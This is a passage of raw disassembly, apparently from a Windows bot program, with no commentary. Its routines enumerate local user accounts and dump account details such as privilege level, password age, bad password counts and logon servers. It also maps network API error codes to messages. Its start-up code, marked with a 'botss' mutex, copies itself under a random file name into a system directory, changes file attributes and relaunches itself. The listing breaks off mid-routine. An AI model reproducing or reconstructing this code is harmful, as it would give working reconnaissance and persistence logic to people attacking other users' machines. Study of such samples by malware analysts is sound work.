arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax


loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84


loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443F38
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172AE
		add	esp, 0Ch


loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43F54C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43F53C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43F6C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172AE
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"


loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172AE
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------


loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172AE
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h


loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43F6F8


loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43F5D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452


loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch


loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43F6F8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43F6F8


loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF


loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_443CD8
		call	sub_4172AE
		pop	ecx
		mov	eax, offset dword_443CD8
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43F678
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_443AD4
		push	offset dword_42F568
		push	esi
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------


loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_443AD4
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172AE
		add	esp, 14h


loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_489C50, eax
		call	esi
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43F714
		push	7530h
		push	offset aBotss	; "botss"
		push	ebx
		push	ebx
		call	near ptr 27E0302h
		nop
		push	eax
		call	near ptr 2650AE2h
		nop
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		nop
		call	near ptr 77E75CB5h


loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43F5E0
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 260051Fh
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2720D7Dh
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F678
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824


loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F678[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801


loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26903C5h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 27711B5h


loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		nop
		call	near ptr 2650BAEh
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4


loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 260048Fh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------


loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 27711B5h
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_43C80C
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		nop
		call	near ptr 27D0CFFh
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2720789h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_435144
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2760B39h
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		nop
		call	near ptr 260048Fh
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43F5C8
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_48A030, 2
		jle	short loc_40E9D8
		mov	eax, dword_48A034
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2650AE2h
		push	esi
		call	near ptr 26307C3h
		nop
		mov	eax, dword_48A034
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 260048Fh
		mov	eax, dword_48A034
		push	dword ptr [eax+8]
		nop
		call	near ptr 27D0BFFh


loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
